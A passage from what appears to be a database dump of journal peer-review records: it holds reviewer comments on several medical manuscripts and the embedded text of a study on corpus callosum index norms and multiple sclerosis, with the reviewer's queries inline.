ex:\r\n1)	In the title, should ‘as a fusion inhibitors’ be ‘as fusion inhibitors’?\r\n2)	In  ‘Figure:-2 ’, should ‘ismetric view(B)’ be’ ‘isometric view(B)’?\r\n3)	Which one of the following is the correct one , ‘phytoderivatives’ , ‘phyto derivatives’ and ‘phyto-derivatives’ ?\r\nHere I will not give a detail list， please double-check.\r\n2.	The formats of references are not consistent.\r\n3.	The figures’ formats are not consistent too, ‘Figure: - 1’, ‘Figure:-2’, ‘Figure :-3’ ,’ Figure -4-‘,  ‘Figure -5-‘.\r\n\r\n','','2020-06-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1802,9532,4636,NULL,'4','r','d','y','y','Comments of    4636 \r\nRELATIONSHIP BETWEEN VENTRICULOPERITONEAL SHUNT OBSTRUCTION AND INFECTION IN PEDIATRIC PATIENTS WITH HYDROCEPHALUS\r\n\r\n\r\n1.	In the manuscript there were  33 references found, but only 31 references were found in the references list \r\n2.	In the text there are statements starting with  ‘We\', found in many places in the  manuscripts. Do not use the term ‘we’or \'our\' in scientific writing. Follow the scientific writing guidelines\r\n\r\n','need minor revision','2020-06-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1808,645,3999,NULL,'2','R','n','Y','Y','1)This article needs significant editing for grammar and spellings to make sense and to establish a clear frame work to their study\r\n2)Abstract needs to be rewritten - \"There were total 33(62.26%) males and 20(37.78%) females 33(62 %) with male: female ratio 1.7:1. The mean age of the patient group was within the range of 41.64 (±14.56) years.\" - sentence does not give a clear idea.\r\n3) Although clinical and laboratory findings have an important role in the diagnosis of GBS, electrodiagnostic study (EDS) is the basis for classification of different types of the disease - needs a citation to substantiate the claim\r\n4)\"Clinical variants of GBS have been described, including the Miller Fisher Syndrome, bulbar and pharyngeal-brachial variants, which may progress to more characteristic forms of GBS\" needs citation.\r\n5)Disagree with the claim that - There are no pathognomonic clinical characteristics for GBS, as ascending paralysis and preceding history of GI or URTI illness usually aid in the clinical diagnosis of the patient\r\n6)Use either EDX or EDx not both.\r\n7)Abbreviations are not expanded in the entire paper eg: DL, CMAP etc\r\n8) Electrodiagnostic (EDX) criteria for types Guillain-Barré Syndrome (GBS) needs to rewritten and expanded, cited and referenced in the correct format.\r\n9)tables should be complemented with graphs for better understanding the results\r\n10) The author should explain the reasons for different characteristic findings in the selected population and how this paper is different from Kundu etal.','1. Needs lot of changes as stated above.\r\n2. Demographic study but does not explain the exclusivity of the paper\r\n3. Tables are not well organized.\r\n4. Grammatical errors\r\n5. Claims are not adequately cited.','2020-06-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1809,645,3974,NULL,'4','g','y','y','y','1)Sample size is slightly less.\r\n2)How do authors think their trial/study is unique from the other studies that have already been done. Need to address more elaborately the uniqueness of their study in the introduction\r\n3) McDonald criteria for the diagnosis of MS was revised in 2017 and this study employed 2010 criteria\r\n4) Minor grammatical errors.\r\n','1) On the whole well written paper\r\n2) Needs some minor corrections as above.','2020-06-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1810,12972,4659,NULL,'5','G','Y','Y','Y','a good one, research h of every single topic done well.','can publish.','2020-06-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1811,12972,4659,NULL,'5','G','Y','Y','Y','All the research is done well and accordingly. Can go for publication.','Article can be publish.','2020-06-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1812,12972,4690,NULL,'6','G','D','Y','Y','Research is done well, all the points are valid and well described.','can publish in your journal','2020-06-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1813,13180,4659,NULL,'6','r','Y','Y','Y','Quite Impressive work is done here, every bit is well explained. surely publish the article.','Go for the publication as I found it quite good one','2020-06-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1814,13180,4690,NULL,'6','G','Y','Y','Y','All the explained things and data are valid as per my view and quite interesting factors are there.','can go for publication.','2020-06-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1821,13331,4607,NULL,'2','R','Y','N','Y','Dear authors \r\nThanks for the effort spent in this manuscript. The idea is new but it lacks scientific importance, moreover it needs fundamental corrections.','Dear \r\nThanks for choosing me as an ophthalmology consultant to be one of the reviewers in your journal. I  consider the idea of this manuscript poor regarding scientific core. The title was misnomer. The manuscript was not properly written with many fatal mistakes. The specifications of the machine used in the manuscript was not pointed at in the methodology. Finally it needs a lot of professional English Editing (Comments were attached in an e-mail).\r\nTHANKS  ','2020-06-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1822,10287,3974,NULL,'4','G','Y','M','Y','1. good literature review of the topic but can be mores ummerized pertaining to study.  \r\n2.  well designed study \r\n3. Result section can be summarized with mentioning of  graphs . \r\nplease find my comments in article as marked with question in numbers. \r\n\r\nTITLE: Normative Data of the Corpus Callosum Index and Discriminant Validity in Patients with Multiple Sclerosis\r\nMaría Yaiza Pérez-Martín1, Montserrat González-Platas1, Alejandro Jiménez-Sosa2, Julio Plata-Bello3,4, Arelys López-Segura1, Elisa Lucas-Hernández1.\r\n1.	Department of Neurology. Complejo Hospitalario Universitario de Canarias. Santa Cruz de Tenerife. Spain.\r\n2.	Unit of Research. Complejo Hospitalario Universitario de Canarias. Santa Cruz de Tenerife. Spain.\r\n3.	Department of Physiology, Faculty of Medicine, University of La Laguna, San Cristóbal de La Laguna, Spain.\r\n4.	Department of Neurosurgery. Hospital Universitario de Canarias.  Santa Cruz de Tenerife.  Spain\r\n\r\nRunning head: Normative data of CCI\r\nCorresponding author:\r\nMaría Yaiza Pérez- Martín, Service of Neurology.  Hospital Universitario de Canarias.  Ofra, s/n. La Laguna 38320. Santa Cruz de Tenerife., Spain \r\nE-mail: yaizaneuro@hotmail.com.\r\nTelephone: +34616464403\r\nFax: +34922319271\r\nTotal words of abstract: 177\r\nNumber of tables: 2\r\nNumber of figures: 3\r\nNumber of references: 51\r\n \r\nAbstract: \r\nBackground: The corpus callosum (CC) plays an important role in many cognitive and behavior functions and can be easily identified by conventional Magnetic Resonance Imaging (MRI). For these reasons, its integrity has been used as predictor of symptoms in different pathologies. \r\n\r\nMethods and Findings: to provide standardized data of the corpus callosum index (CCI) and obtain a cut-off point as a possible early marker of cognitive impairment in multiple sclerosis (MS), 209 healthy subjects and 96 patients were consecutively evaluated with a brain MRI scanning protocol.CCI was measured by two blinded raters. ROC curves were obtained for the total of sample and subgroups and the Youden Index was calculated to indentify the best cut-off points.\r\nNormative data of CCI are presented by age. No sex differences were found.  Cut-off points were established for subjects in different age groups. \r\nConclusions: CCI Cut-off values could be useful to identify alarm points below which we could think of inquiring about deficits that are not currently \"visible\". Longitudinal evaluations will enable us to know if CCI is an early marker of cognitive damage in MS.\r\n \r\n1.	Introduction\r\nThe corpus callosum (CC) is the largest interhemispheric commisure connecting cortical and subcortical areas of the two cerebral hemispheres. Histologically, the CC contains approximately 200 million myelinated nerve fibers. The composition of these fibers is variable, with thinner (or less myelinated) and slower conducting fibers and larger (or more myelinated) and faster conducting fibers or unmyelinated fibers that reach up to 31% in the monkey brain.[1] The macrostructure of the CC is made up of variable degrees of axonal myelination, redirection and shortening in normal and pathological conditions.[2]\r\nTopographically, the CC is organized in different parts which interconnect homotopic cortical regions. The genu is the anterior region and connects the anterior cerebral hemispheres and the prefrontal cortical areas. The CC midbody connects the motor, somatosensory and auditory cortices. The posterior region connects the temporal, parietal and occipital lobes.[3] More specifically, the splenium is involved in interhemispheric communications along with auditory, visual information and language processes.[4]\r\nThe number of callosal fibers is already fixed around birth, but structural changes of the CC continue to occur during postnatal development due to fiber myelination, redirection and pruning.[5] During childhood, the CC expands quickly due to the increase in the number of axons, their diameter and myelination and continues growing until the second decade of life at a much slower rate. Adolescence is an important period for brain development and, in particular, for the CC. Many studies have found that dramatic changes occur in the callosal micro and macro anatomy throughout the hormone-laden period of adolescence.[6]\r\nSex may be an important biological factor in the development of the CC, in relation to the presence or absence of the Y chromosome and the production of gonadal hormones that affect differences between the sexes. Some studies have shown that the total area of the CC is greater in women than in men, which seems to be related to fetal testosterone levels. However, the link with its size is still unclear.[7] Some researchers have argued that the splenic area of the CC is greater in women than in men, while others report a sex difference for the isthmus area.[8] Theoretically speaking, these differences suggest that women may be protected from cognitive aging by a greater capacity to compensate through bilateral activation.\r\nThe CC has a special influence on affective behavior, non-literal language and bilateral functional connection in both motor and sensory cortices. Several studies have reported that the size of the CC changes in bipolar disorders, Alzheimer’s disease, Down´s syndrome or Williams syndrome among others.[9] \r\nA brief summary is provided below of the involvement of the CC in some of the pathologies in which it has been studied.\r\n1.1.	Corpus callosum and neurological and psychiatric pathology\r\nMultiple Sclerosis (MS)\r\nMS is a chronic inflammatory disease of the central nervous system (CNS) characterized by demyelination of white matter and early axonal damage that commonly leads to inflammation, atrophy and cognitive decline. Chronic neurological disability in young people develops when the cumulative threshold for axonal loss is reached and the compensatory resources of the CNS area are exhausted. In MS, the CC is extensively affected by local and Wallerian degeneration determining a disconnection syndrome in large-scale networks.[10] Due to its periventricular location and the close relationship with the subependymal veins, the CC is susceptible to early inflammation and demyelination. \r\nBecause of the CC’s functional relevance to inter-hemispheric information transfer, it might be one of the components of the complex pathological processes that lead to cognitive changes in MS. Due to this fact, studies have aimed to find a relationship between functional and clinical disability and CC measures in MS.[11]–[13]\r\nAlzheimer´s Disease (AD)\r\nAD has been described as an irreversible neurodegenerative pathology that normally affects gray matter, but a significant callosal atrophy in Alzheimer´s patients has been found. It has been postulated that there are two different mechanisms that could contribute to this fact: cell death in the gray matter, especially the large pyramidal cells in cortical layer III and the direct decomposition of myelin in callosal fibers.[14]\r\nParkinson´s Disease (PD)\r\nPD is one of the most common age-related brain disorders. PD is defined primarily as a movement disorder but cognitive impairment (whose anatomical substrate is not yet well defined) is common and leads to substantial disability. \r\nMacrostructural differences in the CC have been associated with PD cognitive impairment with greater volume loss in patients with PD and dementia compared to patients with PD and mild cognitive impairment or who are cognitively normal.[15], [16]\r\nSchizophrenia\r\nSchizophrenia has been characterized as a disorder of disconnectivity. [17] There is a considerable evidence demonstrating changes in the white matter tracts connecting brain regions in people with schizophrenia compared to healthy controls. \r\nStructural MRI in schizophrenia studies have noted smaller white matter volumes in several brain regions. These abnormalities may be present early in the course of the disease. Overall, disruptions of white matter integrity have been found in cortical and subcortical brain regions as well as in associative white matter and commissural tracts, suggesting that changes of cortical-subcortical white matter integrity are found at an early stage of the disorder. These changes in white matter integrity have been correlated with specific cognitive deficits as well as psychopathology (positive more than negative symptoms).[18] \r\nSpecifically, the CC has been a region of much interest in schizophrenia. It has been found that patients with schizophrenia have a smaller anterior genu, anterior body, isthmus, and anterior splenium, consistent with observed reductions  in the size of the structures that are connected by these CC regions (the prefrontal, temporal, and inferior parietal cortex).[19] \r\nHistopathological studies have failed to find differences in the density of axonal fibers in the CC [20] but recent diffusion tensor and magnetization transfer imaging studies of the CC in schizophrenia have indicated reduced fractional anisotropy of the diffusion of water in the splenium [21] and reductions in the magnetisation transfer ratio in the genu [22] in schizophrenia, indicating focally abnormal white matter in the CC. \r\n1.2.	Corpus callosum and developmental disorders\r\nAutism Spectrum Disorders (ASD)\r\nCurrent theories concerning autism include the consideration of this disorder as being due to a poor connectivity between different cortical regions resulting in impaired integrative processing and deficient higher order cognitive abilities.[23] This poor connectivity can be observed in the CC as many studies hypothesize.[24]\r\nAmong the most replicated brain imaging findings in ASD is that of a disproportionally small corpus callosum relative to overall brain size. Several magnetic resonance imaging (MRI) studies of autism have found significant reductions in the CC, particularly among posterior regions, in children and adults with autistic disorder relative to control subjects.[25]\r\nData indicate that CC size associated with ASD is observed in terms of total CC area as well as most subdivisions [26]. In addition to area and volume, differences have also been observed in CC thickness, with the splenium and genu being particularly ‘thinner’ in school-age children with the disorder. [27]\r\nDyslexia\r\nDyslexia is a persistent and specific reading and writing disorder that occurs in children who do not have any physical, mental or sociocultural handicap. Despite numerous neuroimaging studies of both children and adults with dyslexia, the underlying neural substrates remain uncertain. \r\nGiven that the CC plays a major role in interhemispheric communications, the bilateral brain activations observed in dyslexics suggests possible changes in CC connectivity. Thus far, the CC literature on dyslexia is inconsistent and contains numerous contradictions.\r\n A study carried out in 2012 shows an increase in CC5 (posterior midbody of the CC) myelination suggesting that the dyslexic brain is “wired for increased inter-hemispheric communication. Increases in axonal caliber in this CC segment could be an indication of re-wiring due to recruitment of additional brain regions during processing of written language.[28]\r\nAttention-Deficit hyperactivity Disorder (ADHD)\r\nNeuroimaging studies of patients with ADHD have revealed deviations of the CC in children and adolescents.[29] In adults, negative correlations have been found in males with respect to inattention and hyperactivity in various callosal regions, including the anterior third, anterior and posterior midbody, isthmus, and splenium. In females, callosal thickness has been positively related to hyperactivity in a small area within the rostral body, suggesting a sexually dimorphic neurobiology of ADHD symptoms.[30]\r\n1.3.	Corpus callosum and ischemia\r\nInfarcts of the corpus callosum are generally a part of large vessel ischemia. Hence, diabetes mellitus and hypertension are the major risk factors as they predispose sufferers to atherosclerosis. Focal infarct patterns are uncommon as the blood supply is by small perforating vessels running perpendicular to the parent vessel, making it difficult for the emboli to enter and lodge in them. The splenium is the most vulnerable, followed by the body and genu.[31]\r\n1.4.	Toxic pathology\r\nAlcoholism\r\nSpecific white matter structures of the brain, like the CC, are particularly affected by alcoholism and could be useful in the study of its progression. Excessive drinking can lead to impairment of motor and cognitive function (such as abstract problem solving, visuospatial and verbal learning or selective memory processes) [32] and structural brain changes. Chronic alcoholics with callosal atrophy present a significant impairment in neurocognitive functions compared with subjects with normal CC size. In addition, frontal lobe atrophy and tests evaluating frontal function have been associated with the thickness of the genu of the CC. [33] \r\nThe CC is also affected by Marchiava-Bignami (MB) disease. MB is a rare encephalopathy observed in malnourished chronic alcoholics which is associated to demyelination or necrosis of the CC and its adjacent subcortical white matter whose clinical presentation includes spasticity, dysarthria, dementia and inability to walk which may progress to coma and death. Nevertheless, reductions in the thickness of the CC have been reported in a dose-dependent manner in chronic alcoholics regardless of their nutritional status [33]\r\nThis fact could be associated to the permanent effect of chronic alcohol consumption in different brain regions producing axonal loss associated with Wallerian degeneration (as opposed to changes related to deficient consumption of thiamine that would lead to reversible  white matter shrinkage) [34]\r\nOther drugs\r\nAs regards the consumption of other drugs, frequent use of high-potency cannabis is associated with disturbed callosal microstructural organization in individuals with and without psychosis.[35]. Changes in the CC are also associated to cocaine consumption.[36]\r\n \r\nCC interhemispheric communication plays an important role in language, executive, volitional and working memory functions and contributes to motricity. Furthermore, the CC is one of the few white matter tracts that can be discretely identified by conventional MRI. For these anatomic and functional properties, it is reasonable to assume that CC morphometrics might be a possible marker for the integrity of these associative fibers [37] in different pathologies and might be a useful predictor of symptoms.  \r\nTherefore, many different measures of the CC have been used including volumetric measures, morphometry or inter-hemispheric connectivity. [2], [24], [37]–[42]  Despite the fact that the volumetric analyzes are of choice in the follow-up of certain pathologies, they are currently confined to the field of research or pre-surgical planning of functional and structural surgery of the CNS. \r\nThe aim of the present study is to provide standardized data of the corpus callosum index (CCI), a simple measure (a possible alternative to the methods based on brain segmentation) that does not require specific software or highly qualified personnel and that can be used in routine clinical practice to monitor certain pathologies. Furthermore, taking into account the relationship that has been demonstrated between CC atrophy and cognitive integrity in general,[43] and in MS patients in particular,[44], [45] a group of MS patients has been included in the study to assess the ability of the CCI to identify CC atrophy that could be used as an early marker of cognitive decline.\r\n2.	Methods\r\nThe study was conducted in accordance with the principles of the Declaration of Helsinki [46] and good clinical practice standards and was approved by the local ethics committee for clinical research on March 04, 2016 (Code 2015_91). All participants provided written informed consent to participate.\r\n2.1.	Subjects: \r\nA total of two hundred and nine healthy subjects were included in the study. This group of participants was recruited from the waiting room of the Department of Neurology in the Hospital Universitario de Canarias through informative brochures about the study.   \r\nInclusion for the healthy group was based on the following criteria:\r\n	 Being over 18 years of age \r\n	 Willing and able to sign written informed consent\r\nThe exclusion criteria for the healthy group were as follows:\r\n	Personal history of severe neurological and/or psychiatric pathology \r\n	Having contraindication/s to an MRI study\r\n	Personal history of severe traumatic brain injury\r\n	Personal history of alcohol or drug abuse\r\n	Personal history of any serious medical illness\r\n	Having received chemotherapy or immunomodulator treatment.\r\n	Having received radiotherapy treatment in the skull region.\r\nNinety-six MS patients were included in the study.\r\n\r\n 1. Duration of disease upon enrollment? 2. Any Therapy they received? 3.  if yes then how long 4.  What were the cognitive complains found to be included in study? \r\n\r\nPatients were recruited from the Section of Demyelinating diseases of the Department of Neurology in the Hospital Universitario de Canarias.\r\nInclusion for the patient group was based on the following criteria:\r\n− Willing and able to sign written informed consent\r\n− Remitting-relapsing MS (RRMS) diagnosed according to the McDonald criteria 2010[47] \r\n− Being over 18 years of age\r\nThe exclusion criteria for the patient group were as follows:\r\n− Diagnosis of demyelinating disease other than MS\r\n− Subtypes of MS other than remitting-relapsing forms\r\n− Evidence of relapse of steroid treatment in the four weeks preceding the enrollment\r\n− Have no subjective cognitive complaints  --?? 5. later in discussion part this is mention as inclusion criteria? please clarify \r\n\r\n\r\n\r\n2.2.	Procedure\r\nData for the experiment were collected at the Magnetic Resonance for Biomedical Research Service of the University of La Laguna.\r\nAll the participants were consecutively evaluated with a brain MRI scanning protocol. Structural images were obtained on a 3 T General Electric (Milwaukee, WI, USA) scanner using an echo-planar imaging gradient-echo sequence and an 8 channel head coil (TR = 3000 ms, TE = 21 ms, flip angle =90°, matrix size =64 × 64 pixels, 57 slices/volume, spacing between slices =1 mm, slice thickness = 3 mm). The slices were aligned to the anterior commissure – posterior commissure line and covered the whole cranium.\r\nIdentification criteria of CC were the clearest visualization of the CC and the septum pellucidum, cerebellum and patency of the aqueduct in a midsagittal slice T1W image. Quantification of the CCI was obtained following Figueira et al., 2007 [37] by drawing a straight line across the greatest anteroposterior diameter of the  CC  (from the most anterior point of the genu to most posterior point of the splenium (A-C line) and a perpendicular at its midline (Figure 1). All segments (aa´, bb´ and cc´) were measured and normalized to their greatest anteroposterior diameter (A-C).\r\nA second measure of the CCI was taken by a second rater blinded to the assessment of the first rater in order to evaluate the inter-observer reliability. \r\n2.3.	Statistical analysis\r\nCategorical variables were expressed as frequencies and percentages. Continuous variables were expressed as mean ± SD, median and range (min-max). Normality was tested with the Kolmogorov-Smirnov test. \r\nThe comparison between groups for continuous variables was performed using the Student\'s t-test. The Chi-square tests were used for the comparison of categorical variables.\r\nReceiver operating characteristic (ROC) curves and areas under the curve (AUCs) were calculated and used to determine the ability of CCI to discriminate between patients and healthy subjects. The Youden index, which maximizes a combination of sensitivity and specificity, was calculated and used to determine the optimal cut-off point of CCI. The optimal cut-off point was defined as the maximum vertical distance between the ROC curve and the diagonal. \r\nThe Lin\'s concordance correlation coefficient (CCC) was calculated to test the inter-observer reliability.\r\nStatistical analysis was performed with SPSS v20.0 software (IBM Corporation, Armonk, NY, USA). The P values< 0.05 were considered statistically significant.\r\n\r\n\r\n3.	Results\r\nHealthy participants were divided into age groups as follows: 30 years of age or younger, between 31 and 40 years of age, between 41 and 50, between 51 and 60 and subjects older than 60. Table 1 shows the distribution of the sample in age and sex.\r\nTotal CCI was 0.396 0.412. The Lin\'s CCC between the first and the second blinded rater was 0.90 (CI: 0.84-0.94) indicating moderate agreement. The normalized measurements of each of the three portions of the CC were the following: anterior segment or genu 0.156 0.021, middle region or midbody 0.088 0.013 and posterior segment or splenium 0.152 0.186. The average length of the CC was 73.133 4.772 millimeters (mm). No significant differences were found in the CCI, midbody and splenium, between males and females. Females had a thicker genu (t = -2.015; P < 0.045). Table 2 shows CCI and the normalized size of the three portions of the CC in the different age groups.\r\nThe patient group consisted of 96 participants with RRMs with a mild neurological disability measured with the Expanded Disability Status Scale (EDSS) [48] with a median value of 1.5 and 8.91 ( 6.04) years of disease duration. A total of 71 participants (74%) were females. The mean age was 39.76 ( 9.09).  6.  worth mentioning the CCI findings details here similarly as mentioned in healthy patients. \r\n The area under the curve (AUC) was calculated in order to determine the ability of the CCI to discriminate between patients with MS and healthy subjects. The Youden index was calculated to determine the value of the optimal cut-off point which combines the highest sensitivity and specificity together. AUC were calculated for the total sample and for each age group. \r\nThe AUC for the total sample was 0.79. The value of the CCI with the better ability to discriminate between patients and healthy subjects was 0.34 with a sensitivity of 54% and a specificity of 93%. (Figure 2) \r\nA different discriminatory capacity of the CCI was observed depending on the age group of the subjects. The ROC curve for the different groups is shown in figure 3. The AUC was 0.85 for subjects younger than 30 years of age. For this group, the cut-off was 0.35 with a sensitivity of 62% and a specificity of 97%. The AUC for subjects between 31-40 and 41-50 was 0.74 and 0.81 respectively and the cut-offs for these groups were 0.34 and 0.33. The other subjects included in the final group corresponding to subjects older than 50 years of age (subjects between 51 and 60 and older were included together due to the low number of subjects). In this last group, the AUC was 0.70 and it was not significant.\r\n4.	Discussion\r\nThe CC is a bridge of white matter bundles and a critical brain structure for interhemispheric information implicated in the transfer of important functions. The CC plays a significant role in cognitive and behavior functions[43]. In addition, the CC can easily be identified by conventional MRI sequences. \r\n\r\n6. Better to mention 3T instead of convention MRI. \r\n7. The discussion introductory paragraph information is redundant and can be edited concisely  in one line. \r\n\r\n For these reasons different measures of CC integrity have been used as a useful predictor of symptoms in many pathologies. \r\nThe present study provides standardized data of CCI, which is a normalized linear measure that can be taken without image analysis software or highly qualified personnel and that can be used in routine clinical practice to monitor different pathologies. These data could improve the applicability of the CCI in clinical monitoring and research use. \r\nFor obvious reasons, the use of three-dimensional quantitative measures over two-dimensional ones will always be more accurate but there are still no defined and standardized protocols with respect to the assessment of brain atrophy and these 3D measures require specialized software and training in some of the more complex volumetric tools. \r\nThe mean average of CCI for the total sample was 0.39 and this value was in reasonable agreement with inter-observer values of around 0.90. The results are presented in age groups and data of normalized size of the three segments of CC are presented independently in order to identify possible regional differences. \r\nWhen sex comparisons were made, no differences between males and females were found in the CCI. In regional terms, only the genu was thicker in females while the midbody and splenium size did not show significant differences. These data contribute and serve to increase the uncertainty of the effect of sex in the size of the CC and contradict data about a larger size of the CC in females reported in other studies[8] and its possible protecting role of the age effect. \r\nIn MS, CC atrophy could be the result of focal demyelination and axonal damage and associated to Wallerian degeneration after inflammation and axonal transaction. CC atrophy in MS might be a marker of disease progression as a reflection of the irreversible process of pathological damage.\r\n8. Worth mentioning this are the pathological changes as MRI findings can support the pathological findings.\r\nThe CCI has been used in monitoring MS patients and a correlation has been found with whole brain volume[49]and long-term disability[45]. CCI decrease has been associated with fatigue independent of disability, disease duration, gender and age [12], [37] and cognitive impairment.[45]\r\nNinety-six patients with clinically stable RRMS and without subjective cognitive complaints were included and compared with a healthy subject group. \r\n9. This is confusing with exclusion criteria. Please clarify this. \r\n\r\nROC curves were performed for the total sample revealing that the best cut-off point to identify early susceptible to cognitive damage subjects was 0.34. \r\nOnly patients with RR forms of the disease were included so as not to interfere with the results with other subtypes (progressive forms) that are characterized by increased and early brain atrophy.[50]\r\nThe incidence in MS is not the same in all ages. MS is often diagnosed in the second or third decade of life.[51] For this reason, ROC curves were built for different age groups in the present study. Thus, the CCI cut-off point was 0.35, 0.34 and 0.33 for subjects younger than 30, between 31 and 40, and between 41-50 respectively (due to the low size of the sample of older than 50 among healthy subjects and among patients, it was not possible to identify an optimal cut-off in the older than 50 group (p=0.07)).These values could be identified as the alarm points below which deficits that are not currently \"visible\" could be investigated.\r\nThe participating subjects were not cognitively evaluated in the study. Even those subjects who were older than 60, an age when a certain level of deterioration associated with age may begin to be present. It should be pointed out that this is a limitation of the present study.\r\nThe longitudinal evaluation of the participating patients will provide information for future use about whether those subjects with values below the cut-off point will actually develop cognitive symptoms. If this is the case, the CCI could be used as an early marker of cognitive damage and early strategies could be initiated to reduce or alleviate its important effects on the quality of life of affected people.\r\nFunding\r\nThe present manuscript has no sources of funding\r\nCompeting Interests\r\nThe authors report no conflicts of interest in this work.\r\nAcknowledgment\r\nWe would like to thank Patrick Dennis for his help in proofreading the manuscript.\r\n\r\n\r\n \r\n[1]	Reuter-Lorenz PA,  Stanczak L (2000) Differential effects of aging on the functions of the corpus callosum. Dev. Neuropsychol., vol. 18, no. 1, pp. 113–137. \r\n[2]	Zito G, Luders E, Tomasevic L, Lupoi D, Toga AW et al (2014). Inter-hemispheric functional connectivity changes with corpus callosum morphology in multiple sclerosis. Neuroscience, vol. 266, pp. 47–55.\r\n[3]	Anstey KJ, Mack HA, Christensen H, Li SC, Reglade-Meslin C et al. (2007) Corpus callosum size, reaction time speed and variability in mild cognitive disorders and in a normative sample. Neuropsychologia, vol. 45, no. 8, pp. 1911–1920. \r\n[4]	De Guise E, Lassonde M (2001) Callosal contribution to procedural learning in children.  Dev. Neuropsychol., vol. 19, no. 3, pp. 253–272.\r\n[5]	Luders E, Thompson PM, Toga AW (2010) The development of the corpus callosum in the healthy human brain.  J. Neurosci. Off. J. Soc. Neurosci., vol. 30, no. 33, pp. 10985–10990.\r\n[6]	Chavarria MC, Sánchez FJ, Chou YY, Thompson PM, Luders E (2014). Puberty in the corpus callosum. Neuroscience, vol. 265, pp. 1–8. \r\n[7]	Tanaka-Arakawa MM, Matsui M, Tanaka C, Uematsu A, Uda S et al. (2015). Developmental changes in the corpus callosum from infancy to early adulthood: a structural magnetic resonance imaging study. PloS One, vol. 10, no. 3.\r\n[8]	Prendergast DM, Ardekani B, Ikuta T, John M, Peters B et al. (2015) Age and sex effects on corpus callosum morphology across the lifespan. Hum. Brain Mapp., vol. 36, no. 7, pp. 2691–2702. \r\n[9]	Mohammadi MR, Zhand P, Mortazavi Moghadam B,  Golalipour MJ (2011). Measurement of the corpus callosum using magnetic resonance imaging in the north of iran.  Iran. J. Radiol. Q. J. Publ. Iran. Radiol. Soc., vol. 8, no. 4, pp. 218–223. \r\n[10]	Bester M, Lazar M, Petracca M, Babb JS, Herbert J et al. (2013) Tract-specific white matter correlates of fatigue and cognitive impairment in benign multiple sclerosis.  J. Neurol. Sci., vol. 330, no. 1–2, pp. 61–66. \r\n[11]	Rimkus CdeM, Junqueira TdeF, Callegaro D, Otaduy MCG, Leite CdaC (2013) Segmented corpus callosum diffusivity correlates with the Expanded Disability Status Scale score in the early stages of relapsing-remitting multiple sclerosis.  Clin. São Paulo Braz., vol. 68, no. 8, pp. 1115–1120. \r\n[12]	Yaldizli Ö, Atefy R, Gass A, Sturm D, Glassl S et al. (2010) Corpus callosum index and long-term disability in multiple sclerosis patients. J. Neurol., vol. 257, no. 8, pp. 1256–1264. \r\n[13]	Yaldizli Ö, Glassl S, Sturm D, Papadopoulou A, Gass A et al. (2011) Fatigue and progression of corpus callosum atrophy in multiple sclerosis.  J. Neurol., vol. 258, no. 12, pp. 2199–2205. \r\n[14]	Ardekani BA, Bachman AH, Figarsky K, Sidtis JJ (2014) Corpus callosum shape changes in early Alzheimer’s disease: an MRI study using the OASIS brain database. Brain Struct. Funct., vol. 219, no. 1, pp. 343–352. \r\n[15]	Bledsoe IO, Stebbins GT, Merkitch D, Goldman JG (2018) White matter abnormalities in the corpus callosum with cognitive impairment in Parkinson disease. Neurology, vol. 91, no. 24, pp.\r\n[16]	Aarsland D, Creese B, Politis M, Chaudhuri KR, Ffytche DH et al. (2017) Cognitive decline in Parkinson disease. Nat. Rev. Neurol., vol. 13, no. 4, pp. 217–231.\r\n[17]	Friston KJ (1999) Schizophrenia and the disconnection hypothesis. Acta Psychiatr. Scand. Suppl., vol. 395, pp. 68–79. \r\n[18]	Kuswanto CS, The I, LeeTS, Sim K (2012) Diffusion tensor imaging findings of white matter changes in first episode schizophrenia: a systematic review. Clin. Psychopharmacol. Neurosci. Off. Sci. J. Korean Coll. Neuropsychopharmacol., vol. 10, no. 1, pp. 13–24. \r\n[19]	Keshavan KS, Anderson S, Pettegrew, JW (1994) Is schizophrenia due to excessive synaptic pruning in the prefrontal cortex? The Feinberg hypothesis revisited.  J. Psychiatr. Res., vol. 28, no. 3, pp. 239–265.\r\n[20]	Casanova MF, Zito M, Bigelow LB, Berthot B, Sanders RD et al. (1989) Axonal counts of the corpus callosum of schizophrenic patients. J. Neuropsychiatry Clin. Neurosci., vol. 1, no. 4, pp. 391–393. \r\n[21]	Foong J, Maier M, Clark CA, Barker GJ, Miller DH et al (2000) Neuropathological abnormalities of the corpus callosum in schizophrenia: a diffusion tensor imaging study. J. Neurol. Neurosurg. Psychiatry, vol. 68, no. 2, pp. 242–244. \r\n[22]	Foong J, Symms MR, Barker GJ, Maier M, Woermann FG et al. (2001) Neuropathological abnormalities in schizophrenia: evidence from magnetization transfer imaging.  Brain J. Neurol., vol. 124, no. Pt 5, pp. 882–892.\r\n[23]	Just MA, Cherkassky VL, Keller TA, Minshew NJ (2004) Cortical activation and synchronization during sentence comprehension in high-functioning autism: evidence of underconnectivity.  Brain J. Neurol., vol. 127, no. Pt 8, pp. 1811–1821. \r\n[24]	Keary CJ, Minshew NJ, Bansal R, Goradia D, Fedorov S et al. (2009) Corpus callosum volume and neurocognition in autism. J. Autism Dev. Disord., vol. 39, no. 6, pp. 834–841. \r\n[25]	Wolff JJ, Gerig G, Lewis JD, Soda T, Styner MA, et al. (2015) Altered corpus callosum morphology associated with autism over the first 2 years of life. Brain J. Neurol., vol. 138, no. Pt 7, pp. 2046–2058. \r\n[26]	Frazier TW, Hardan AY (2009) A meta-analysis of the corpus callosum in autism. Biol. Psychiatry, vol. 